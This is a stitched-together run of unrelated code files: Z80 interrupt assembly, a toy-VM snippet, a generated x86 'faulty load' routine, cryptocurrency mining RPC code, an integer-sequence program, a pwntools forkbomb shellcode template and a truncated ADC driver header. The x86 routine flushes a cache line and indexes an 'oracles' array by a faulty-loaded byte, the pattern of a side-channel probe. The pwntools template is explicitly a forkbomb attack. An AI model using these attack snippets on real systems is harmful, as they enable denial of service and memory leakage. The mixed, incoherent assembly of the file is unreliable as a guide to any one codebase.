; exit : hl = address just past ISR
; uses : af, bc, de, hl
.IM2CreateGenericISRLight
ld hl,GenericISRLight
jp IM2CreateCommon
.GenericISRLight
call pushreg
.position
ld bc,runhooks-position
add hl,bc
call runhooks
jp popreg
.runhooks
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld a,d
or e
ret z
push hl
ex de,hl
call JPHL
pop hl
ret c
jp runhooks
.popreg
pop de
pop bc
pop af
pop hl
ei
reti
.pushreg
ex (sp),hl
push af
push bc
push de
.JPHL
jp (hl)
DEFC ASMDISP_IM2_CREATEGENERICISRLIGHT_CALLEE = # asmentry - im2_CreateGenericISRLight_callee
|
MOV [0] 15
MOV [3] 16
MOV [4] 23
JLS [3] [0] 58
DPRINT 475
HALT
JLS [4] [0] 8
DPRINT 699
HALT
DPRINT 111
HALT
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x137d1, %r10
xor %rsi, %rsi
movups (%r10), %xmm4
vpextrq $0, %xmm4, %r14
nop
sub $39636, %rbp
lea addresses_A_ht+0xc46f, %rsi
lea addresses_WC_ht+0x2b, %rdi
nop
nop
nop
nop
xor $17505, %rax
mov $82, %rcx
rep movsb
nop
sub %rcx, %rcx
lea addresses_UC_ht+0x146f, %r14
nop
nop
nop
nop
nop
and $53685, %rbp
mov $0x6162636465666768, %rax
movq %rax, %xmm1
vmovups %ymm1, (%r14)
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x126f, %rsi
nop
cmp $19468, %r10
mov $0x6162636465666768, %rdi
movq %rdi, (%rsi)
nop
nop
nop
nop
nop
sub $30726, %r10
lea addresses_WT_ht+0x8d8b, %rsi
nop
nop
nop
nop
nop
and $52786, %rdi
mov (%rsi), %r14w
xor $17109, %rsi
lea addresses_UC_ht+0x193f, %rsi
nop
nop
nop
nop
add %r10, %r10
movb $0x61, (%rsi)
nop
nop
nop
cmp $3352, %rcx
lea addresses_D_ht+0x1346f, %rcx
nop
and $18384, %r14
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
xor $50085, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %r8
push %rbp
push %rbx
push %rdi
push %rsi
// Store
lea addresses_WT+0x1d94f, %r8
clflush (%r8)
nop
nop
nop
nop
nop
inc %rdi
movb $0x51, (%r8)
nop
nop
cmp $17965, %rsi
// Faulty Load
mov $0x5a7486000000046f, %r8
nop
nop
nop
inc %r13
movups (%r8), %xmm7
vpextrq $0, %xmm7, %r15
lea oracles, %rdi
and $0xff, %r15
shlq $12, %r15
mov (%rdi,%r15,1), %r15
pop %rsi
pop %rdi
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_WT'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2012 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "main.h"
#include "db.h"
#include "txdb.h"
#include "init.h"
#include "miner.h"
#include "bitcoinrpc.h"
using namespace json_spirit;
using namespace std;
Value getmininginfo(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getmininginfo\n"
"Returns an object containing mining-related information.");
uint64_t nMinWeight = 0, nMaxWeight = 0, nWeight = 0;
pwalletMain->GetStakeWeight(*pwalletMain, nMinWeight, nMaxWeight, nWeight);
Object obj, diff, weight;
obj.push_back(Pair("blocks", (int)nBestHeight));
obj.push_back(Pair("currentblocksize",(uint64_t)nLastBlockSize));
obj.push_back(Pair("currentblocktx",(uint64_t)nLastBlockTx));
diff.push_back(Pair("proof-of-work", GetDifficulty()));
diff.push_back(Pair("proof-of-stake", GetDifficulty(GetLastBlockIndex(pindexBest, true))));
diff.push_back(Pair("search-interval", (int)nLastCoinStakeSearchInterval));
obj.push_back(Pair("difficulty", diff));
obj.push_back(Pair("netmhashps", GetPoWMHashPS()));
obj.push_back(Pair("netstakeweight", GetPoSKernelPS()));
obj.push_back(Pair("errors", GetWarnings("statusbar")));
obj.push_back(Pair("pooledtx", (uint64_t)mempool.size()));
weight.push_back(Pair("minimum", (uint64_t)nMinWeight));
weight.push_back(Pair("maximum", (uint64_t)nMaxWeight));
weight.push_back(Pair("combined", (uint64_t)nWeight));
obj.push_back(Pair("stakeweight", weight));
obj.push_back(Pair("stakeinterest", (uint64_t)COIN_YEAR_REWARD));
obj.push_back(Pair("testnet", fTestNet));
return obj;
}
Value getstakinginfo(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getstakinginfo\n"
"Returns an object containing staking-related information.");
uint64_t nMinWeight = 0, nMaxWeight = 0, nWeight = 0;
pwalletMain->GetStakeWeight(*pwalletMain, nMinWeight, nMaxWeight, nWeight);
uint64_t nNetworkWeight = GetPoSKernelPS();
bool staking = nLastCoinStakeSearchInterval && nWeight;
int nExpectedTime = staking ? (nTargetSpacing * nNetworkWeight / nWeight) : -1;
Object obj;
obj.push_back(Pair("enabled", GetBoolArg("-staking", true)));
obj.push_back(Pair("staking", staking));
obj.push_back(Pair("errors", GetWarnings("statusbar")));
obj.push_back(Pair("currentblocksize", (uint64_t)nLastBlockSize));
obj.push_back(Pair("currentblocktx", (uint64_t)nLastBlockTx));
obj.push_back(Pair("pooledtx", (uint64_t)mempool.size()));
obj.push_back(Pair("difficulty", GetDifficulty(GetLastBlockIndex(pindexBest, true))));
obj.push_back(Pair("search-interval", (int)nLastCoinStakeSearchInterval));
obj.push_back(Pair("weight", (uint64_t)nWeight));
obj.push_back(Pair("netstakeweight", (uint64_t)nNetworkWeight));
obj.push_back(Pair("expectedtime", nExpectedTime));
return obj;
}
Value getworkex(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 2)
throw runtime_error(
"getworkex [data, coinbase]\n"
"If [data, coinbase] is not specified, returns extended work data.\n"
);
if (vNodes.empty())
throw JSONRPCError(-9, "PutinCoin is not connected!");
if (IsInitialBlockDownload())
throw JSONRPCError(-10, "PutinCoin is downloading blocks...");
if (pindexBest->nHeight >= LAST_POW_BLOCK)
throw JSONRPCError(RPC_MISC_ERROR, "No more PoW blocks");
typedef map<uint256, pair<CBlock*, CScript> > mapNewBlock_t;
static mapNewBlock_t mapNewBlock;
static vector<CBlock*> vNewBlock;
static CReserveKey reservekey(pwalletMain);
if (params.size() == 0)
{
// Update block
static unsigned int nTransactionsUpdatedLast;
static CBlockIndex* pindexPrev;
static int64_t nStart;
static CBlock* pblock;
if (pindexPrev != pindexBest ||
(nTransactionsUpdated != nTransactionsUpdatedLast && GetTime() - nStart > 60))
{
if (pindexPrev != pindexBest)
{
// Deallocate old blocks since they're obsolete now
mapNewBlock.clear();
BOOST_FOREACH(CBlock* pblock, vNewBlock)
delete pblock;
vNewBlock.clear();
}
nTransactionsUpdatedLast = nTransactionsUpdated;
pindexPrev = pindexBest;
nStart = GetTime();
// Create new block
pblock = CreateNewBlock(pwalletMain);
if (!pblock)
throw JSONRPCError(-7, "Out of memory");
vNewBlock.push_back(pblock);
}
// Update nTime
pblock->nTime = max(pindexPrev->GetPastTimeLimit()+1, GetAdjustedTime());
pblock->nNonce = 0;
// Update nExtraNonce
static unsigned int nExtraNonce = 0;
IncrementExtraNonce(pblock, pindexPrev, nExtraNonce);
// Save
mapNewBlock[pblock->hashMerkleRoot] = make_pair(pblock, pblock->vtx[0].vin[0].scriptSig);
// Prebuild hash buffers
char pmidstate[32];
char pdata[128];
char phash1[64];
FormatHashBuffers(pblock, pmidstate, pdata, phash1);
uint256 hashTarget = CBigNum().SetCompact(pblock->nBits).getuint256();
CTransaction coinbaseTx = pblock->vtx[0];
std::vector<uint256> merkle = pblock->GetMerkleBranch(0);
Object result;
result.push_back(Pair("data", HexStr(BEGIN(pdata), END(pdata))));
result.push_back(Pair("target", HexStr(BEGIN(hashTarget), END(hashTarget))));
CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION);
ssTx << coinbaseTx;
result.push_back(Pair("coinbase", HexStr(ssTx.begin(), ssTx.end())));
Array merkle_arr;
BOOST_FOREACH(uint256 merkleh, merkle) {
merkle_arr.push_back(HexStr(BEGIN(merkleh), END(merkleh)));
}
result.push_back(Pair("merkle", merkle_arr));
return result;
}
else
{
// Parse parameters
vector<unsigned char> vchData = ParseHex(params[0].get_str());
vector<unsigned char> coinbase;
if(params.size() == 2)
coinbase = ParseHex(params[1].get_str());
if (vchData.size() != 128)
throw JSONRPCError(-8, "Invalid parameter");
CBlock* pdata = (CBlock*)&vchData[0];
// Byte reverse
for (int i = 0; i < 128/4; i++)
((unsigned int*)pdata)[i] = ByteReverse(((unsigned int*)pdata)[i]);
// Get saved block
if (!mapNewBlock.count(pdata->hashMerkleRoot))
return false;
CBlock* pblock = mapNewBlock[pdata->hashMerkleRoot].first;
pblock->nTime = pdata->nTime;
pblock->nNonce = pdata->nNonce;
if(coinbase.size() == 0)
pblock->vtx[0].vin[0].scriptSig = mapNewBlock[pdata->hashMerkleRoot].second;
else
CDataStream(coinbase, SER_NETWORK, PROTOCOL_VERSION) >> pblock->vtx[0]; // FIXME - HACK!
pblock->hashMerkleRoot = pblock->BuildMerkleTree();
return CheckWork(pblock, *pwalletMain, reservekey);
}
}
Value getwork(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"getwork [data]\n"
"If [data] is not specified, returns formatted hash data to work on:\n"
" \"midstate\" : precomputed hash state after hashing the first half of the data (DEPRECATED)\n" // deprecated
" \"data\" : block data\n"
" \"hash1\" : formatted hash buffer for second hash (DEPRECATED)\n" // deprecated
" \"target\" : little endian hash target\n"
"If [data] is specified, tries to solve the block and returns true if it was successful.");
if (vNodes.empty())
throw JSONRPCError(RPC_CLIENT_NOT_CONNECTED, "PutinCoin is not connected!");
if (IsInitialBlockDownload())
throw JSONRPCError(RPC_CLIENT_IN_INITIAL_DOWNLOAD, "PutinCoin is downloading blocks...");
if (pindexBest->nHeight >= LAST_POW_BLOCK)
throw JSONRPCError(RPC_MISC_ERROR, "No more PoW blocks");
typedef map<uint256, pair<CBlock*, CScript> > mapNewBlock_t;
static mapNewBlock_t mapNewBlock; // FIXME: thread safety
static vector<CBlock*> vNewBlock;
static CReserveKey reservekey(pwalletMain);
if (params.size() == 0)
{
// Update block
static unsigned int nTransactionsUpdatedLast;
static CBlockIndex* pindexPrev;
static int64_t nStart;
static CBlock* pblock;
if (pindexPrev != pindexBest ||
(nTransactionsUpdated != nTransactionsUpdatedLast && GetTime() - nStart > 60))
{
if (pindexPrev != pindexBest)
{
// Deallocate old blocks since they're obsolete now
mapNewBlock.clear();
BOOST_FOREACH(CBlock* pblock, vNewBlock)
delete pblock;
vNewBlock.clear();
}
// Clear pindexPrev so future getworks make a new block, despite any failures from here on
pindexPrev = NULL;
// Store the pindexBest used before CreateNewBlock, to avoid races
nTransactionsUpdatedLast = nTransactionsUpdated;
CBlockIndex* pindexPrevNew = pindexBest;
nStart = GetTime();
// Create new block
pblock = CreateNewBlock(pwalletMain);
if (!pblock)
throw JSONRPCError(RPC_OUT_OF_MEMORY, "Out of memory");
vNewBlock.push_back(pblock);
// Need to update only after we know CreateNewBlock succeeded
pindexPrev = pindexPrevNew;
}
// Update nTime
pblock->UpdateTime(pindexPrev);
pblock->nNonce = 0;
// Update nExtraNonce
static unsigned int nExtraNonce = 0;
IncrementExtraNonce(pblock, pindexPrev, nExtraNonce);
// Save
mapNewBlock[pblock->hashMerkleRoot] = make_pair(pblock, pblock->vtx[0].vin[0].scriptSig);
// Pre-build hash buffers
char pmidstate[32];
char pdata[128];
char phash1[64];
FormatHashBuffers(pblock, pmidstate, pdata, phash1);
uint256 hashTarget = CBigNum().SetCompact(pblock->nBits).getuint256();
Object result;
result.push_back(Pair("midstate", HexStr(BEGIN(pmidstate), END(pmidstate)))); // deprecated
result.push_back(Pair("data", HexStr(BEGIN(pdata), END(pdata))));
result.push_back(Pair("hash1", HexStr(BEGIN(phash1), END(phash1)))); // deprecated
result.push_back(Pair("target", HexStr(BEGIN(hashTarget), END(hashTarget))));
return result;
}
else
{
// Parse parameters
vector<unsigned char> vchData = ParseHex(params[0].get_str());
if (vchData.size() != 128)
throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter");
CBlock* pdata = (CBlock*)&vchData[0];
// Byte reverse
for (int i = 0; i < 128/4; i++)
((unsigned int*)pdata)[i] = ByteReverse(((unsigned int*)pdata)[i]);
// Get saved block
if (!mapNewBlock.count(pdata->hashMerkleRoot))
return false;
CBlock* pblock = mapNewBlock[pdata->hashMerkleRoot].first;
pblock->nTime = pdata->nTime;
pblock->nNonce = pdata->nNonce;
pblock->vtx[0].vin[0].scriptSig = mapNewBlock[pdata->hashMerkleRoot].second;
pblock->hashMerkleRoot = pblock->BuildMerkleTree();
return CheckWork(pblock, *pwalletMain, reservekey);
}
}
Value getblocktemplate(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"getblocktemplate [params]\n"
"Returns data needed to construct a block to work on:\n"
" \"version\" : block version\n"
" \"previousblockhash\" : hash of current highest block\n"
" \"transactions\" : contents of non-coinbase transactions that should be included in the next block\n"
" \"coinbaseaux\" : data that should be included in coinbase\n"
" \"coinbasevalue\" : maximum allowable input to coinbase transaction, including the generation award and transaction fees\n"
" \"target\" : hash target\n"
" \"mintime\" : minimum timestamp appropriate for next block\n"
" \"curtime\" : current timestamp\n"
" \"mutable\" : list of ways the block template may be changed\n"
" \"noncerange\" : range of valid nonces\n"
" \"sigoplimit\" : limit of sigops in blocks\n"
" \"sizelimit\" : limit of block size\n"
" \"bits\" : compressed target of next block\n"
" \"height\" : height of the next block\n"
"See https://en.bitcoin.it/wiki/BIP_0022 for full specification.");
std::string strMode = "template";
if (params.size() > 0)
{
const Object& oparam = params[0].get_obj();
const Value& modeval = find_value(oparam, "mode");
if (modeval.type() == str_type)
strMode = modeval.get_str();
else if (modeval.type() == null_type)
{
/* Do nothing */
}
else
throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid mode");
}
if (strMode != "template")
throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid mode");
if (vNodes.empty())
throw JSONRPCError(RPC_CLIENT_NOT_CONNECTED, "PutinCoin is not connected!");
if (IsInitialBlockDownload())
throw JSONRPCError(RPC_CLIENT_IN_INITIAL_DOWNLOAD, "PutinCoin is downloading blocks...");
if (pindexBest->nHeight >= LAST_POW_BLOCK)
throw JSONRPCError(RPC_MISC_ERROR, "No more PoW blocks");
static CReserveKey reservekey(pwalletMain);
// Update block
static unsigned int nTransactionsUpdatedLast;
static CBlockIndex* pindexPrev;
static int64_t nStart;
static CBlock* pblock;
if (pindexPrev != pindexBest ||
(nTransactionsUpdated != nTransactionsUpdatedLast && GetTime() - nStart > 5))
{
// Clear pindexPrev so future calls make a new block, despite any failures from here on
pindexPrev = NULL;
// Store the pindexBest used before CreateNewBlock, to avoid races
nTransactionsUpdatedLast = nTransactionsUpdated;
CBlockIndex* pindexPrevNew = pindexBest;
nStart = GetTime();
// Create new block
if(pblock)
{
delete pblock;
pblock = NULL;
}
pblock = CreateNewBlock(pwalletMain);
if (!pblock)
throw JSONRPCError(RPC_OUT_OF_MEMORY, "Out of memory");
// Need to update only after we know CreateNewBlock succeeded
pindexPrev = pindexPrevNew;
}
// Update nTime
pblock->UpdateTime(pindexPrev);
pblock->nNonce = 0;
Array transactions;
map<uint256, int64_t> setTxIndex;
int i = 0;
CTxDB txdb("r");
BOOST_FOREACH (CTransaction& tx, pblock->vtx)
{
uint256 txHash = tx.GetHash();
setTxIndex[txHash] = i++;
if (tx.IsCoinBase() || tx.IsCoinStake())
continue;
Object entry;
CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION);
ssTx << tx;
entry.push_back(Pair("data", HexStr(ssTx.begin(), ssTx.end())));
entry.push_back(Pair("hash", txHash.GetHex()));
MapPrevTx mapInputs;
map<uint256, CTxIndex> mapUnused;
bool fInvalid = false;
if (tx.FetchInputs(txdb, mapUnused, false, false, mapInputs, fInvalid))
{
entry.push_back(Pair("fee", (int64_t)(tx.GetValueIn(mapInputs) - tx.GetValueOut())));
Array deps;
BOOST_FOREACH (MapPrevTx::value_type& inp, mapInputs)
{
if (setTxIndex.count(inp.first))
deps.push_back(setTxIndex[inp.first]);
}
entry.push_back(Pair("depends", deps));
int64_t nSigOps = tx.GetLegacySigOpCount();
nSigOps += tx.GetP2SHSigOpCount(mapInputs);
entry.push_back(Pair("sigops", nSigOps));
}
transactions.push_back(entry);
}
Object aux;
aux.push_back(Pair("flags", HexStr(COINBASE_FLAGS.begin(), COINBASE_FLAGS.end())));
uint256 hashTarget = CBigNum().SetCompact(pblock->nBits).getuint256();
static Array aMutable;
if (aMutable.empty())
{
aMutable.push_back("time");
aMutable.push_back("transactions");
aMutable.push_back("prevblock");
}
Object result;
result.push_back(Pair("version", pblock->nVersion));
result.push_back(Pair("previousblockhash", pblock->hashPrevBlock.GetHex()));
result.push_back(Pair("transactions", transactions));
result.push_back(Pair("coinbaseaux", aux));
result.push_back(Pair("coinbasevalue", (int64_t)pblock->vtx[0].vout[0].nValue));
result.push_back(Pair("target", hashTarget.GetHex()));
result.push_back(Pair("mintime", (int64_t)pindexPrev->GetPastTimeLimit()+1));
result.push_back(Pair("mutable", aMutable));
result.push_back(Pair("noncerange", "00000000ffffffff"));
result.push_back(Pair("sigoplimit", (int64_t)MAX_BLOCK_SIGOPS));
result.push_back(Pair("sizelimit", (int64_t)MAX_BLOCK_SIZE));
result.push_back(Pair("curtime", (int64_t)pblock->nTime));
result.push_back(Pair("bits", HexBits(pblock->nBits)));
result.push_back(Pair("height", (int64_t)(pindexPrev->nHeight+1)));
return result;
}
Value submitblock(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 2)
throw runtime_error(
"submitblock <hex data> [optional-params-obj]\n"
"[optional-params-obj] parameter is currently ignored.\n"
"Attempts to submit new block to network.\n"
"See https://en.bitcoin.it/wiki/BIP_0022 for full specification.");
vector<unsigned char> blockData(ParseHex(params[0].get_str()));
CDataStream ssBlock(blockData, SER_NETWORK, PROTOCOL_VERSION);
CBlock block;
try {
ssBlock >> block;
}
catch (std::exception &e) {
throw JSONRPCError(RPC_DESERIALIZATION_ERROR, "Block decode failed");
}
bool fAccepted = ProcessBlock(NULL, &block);
if (!fAccepted)
return "rejected";
return Value::null;
}
|
; A089682: Primes of the form 3*m^2 - 1.
; Submitted by Jamie Morken(w3)
; 2,11,47,107,191,431,587,971,1451,2027,2351,2699,3467,4799,5807,6911,7499,8111,8747,10091,10799,14699,15551,16427,17327,18251,25391,27647,36299,41771,44651,55487,57131,62207,67499,71147,74891,80687,92927,99371,103787,106031,124847,132299,137387,139967,158699,161471,164267,167087,175691,184511,202799,215471,221951,225227,235199,266411,277247,284591,295787,299567,303371,314927,334667,338687,350891,355007,359147,380207,401867,406271,437771,442367,460991,470447,499391,504299,514187,524171,549551
mov $1,2
mov $2,332202
mov $5,1
lpb $2
mov $3,$5
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,3
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
add $5,$1
sub $5,1
add $5,$1
lpe
mov $0,$5
add $0,1
|
<%
from pwnlib.shellcraft.thumb.linux import fork
from pwnlib.shellcraft.common import label
%>
<%docstring>
Performs a forkbomb attack.
</%docstring>
<%
dosloop = label('fork_bomb')
%>
${dosloop}:
${fork()}
b ${dosloop}
|
/*
* Author: Marc Graham <marc@m2ag.net>
* Copyright (c) 2015 Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/*=========================================================================*/
#pragma once
#include "ads1x15.hpp"
/*=========================================================================
CONVERSION DELAY (in microS)
-----------------------------------------------------------------------*/
#define ADS1115_CONVERSIONDELAY (8000)
/*=========================================================================*/
/*=========================================================================
CONFIG REGISTER
-----------------------------------------------------------------------*/
#define ADS1115_DR_MASK (0x00E0)
#define ADS1115_DR_8SPS (0x0000) // 8 samples per second
#define ADS1115_DR_16SPS (0x0020) // 16 samples per second
#define ADS1115_DR_32SPS (0x0040) // 32 samples per second
#define ADS1115_DR_64SPS (0x0060) // 64 samples per second
#define ADS1115_DR_128SPS (0x0080) // 128 samples per second (default)
#define ADS1115_DR_250SPS (0x00A0) // 250 samples per second
#define ADS1115_DR_475SPS (0x00C0) // 475 samples per second
#define ADS1115_DR_860SPS (0x00E0) // 860 samples per second
/*=========================================================================*/
namespace upm {
/**
* @library ads1x15
* @sensor ADS1115
* @comname ADS1115 ADC
* @type electric
* @man ti adafruit
* @con i2c
* @web http://www.ti.com/lit/ds/symlink/ads1115.pdf
*
* @brief API for ADS1115
*
* The ADS1113, ADS1114, and ADS1115 are precision analog-to-digital converters (ADCs) with 16 bits of resolution offered
* in an ultra-small, leadless QFN-10 package or an MSOP-10 package. The ADS1113/4/5 are designed with precision, power,
* and ease of implementation in mind. The ADS1113/4/5 feature an onboard reference and oscillator. Data is transferred via
* an I2C-compatible serial interface; four I2C slave addresses can be selected. The ADS1113/4/5 operate from a single power
* supply ranging from 2.0V to 5.5V.
* The ADS1113/4/5 can perform conversions at rates up to 860 samples per second (SPS). An onboard PGA is available on
* the ADS1114 and ADS1115 that offers input ranges from the supply to as low as ±256mV, allowing both large and small
* signals to be measured with high resolution. The ADS1115 also features an input multiplexer (MUX) that provides two
* differential or four single-ended inputs.
* The ADS1113/4/5 operate either in continuous conversion mode or a single-shot mode that automatically powers down after
* a conversion and greatly reduces current consumption during idle periods. The ADS1113/4/5 are specified from –40°C to +125°C.
*
* Tested with DIYMall ADS1115 board. Also available from Adafruit: https://www.adafruit.com/products/1085
*
* @image html ads1115.jpg
* @snippet ads1x15.cxx Interesting
*/
class ADS1115 : public ADS1X15 {
public:
/**
* @enum ADSSAMPLERATE
* @brief uint16_t enum containing values
* representing the sample rate of the device.
*
* @var ADSSAMPLERATE::SPS_8 = 0x0000
* @var ADSSAMPLERATE::SPS_16 = 0x0020
* @var ADSSAMPLERATE::SPS_32 = 0x0040
* @var ADSSAMPLERATE::SPS_64 = 0x0060
* @var ADSSAMPLERATE::SPS_128 = 0x0080
* @var ADSSAMPLERATE::SPS_250 = 0x00A0
* @var ADSSAMPLERATE::SPS_475 = 0x00C0
* @var ADSSAMPLERATE::SPS_860 = 0x00E0
*/
typedef enum ADSDATARATE
{
SPS_8 = ADS1115_DR_8SPS,
SPS_16 = ADS1115_DR_16SPS,
SPS_32 = ADS1115_DR_32SPS,
SPS_64 = ADS1115_DR_64SPS,
SPS_128 = ADS1115_DR_128SPS,
SPS_250 = ADS1115_DR_250SPS,
SPS_475 = ADS1115_DR_475SPS,
SPS_860 = ADS1115_DR_860SPS
} ADSDATARATE;
/**
* ADS1X15 constructor
*
* @param bus i2c bus the sensor is attached to.
* @param address. Device address. Default is 0x48.
*/
ADS1115 (int bus, uint8_t address = 0x48);
/**
* ADS1X15 destructor
*/
~ADS1115();
/**
* Sets the sample rate of the device. This function
* needs to be overridden in subclasses as the ADS1115 and
* ADS1015 have different sample rates.
*
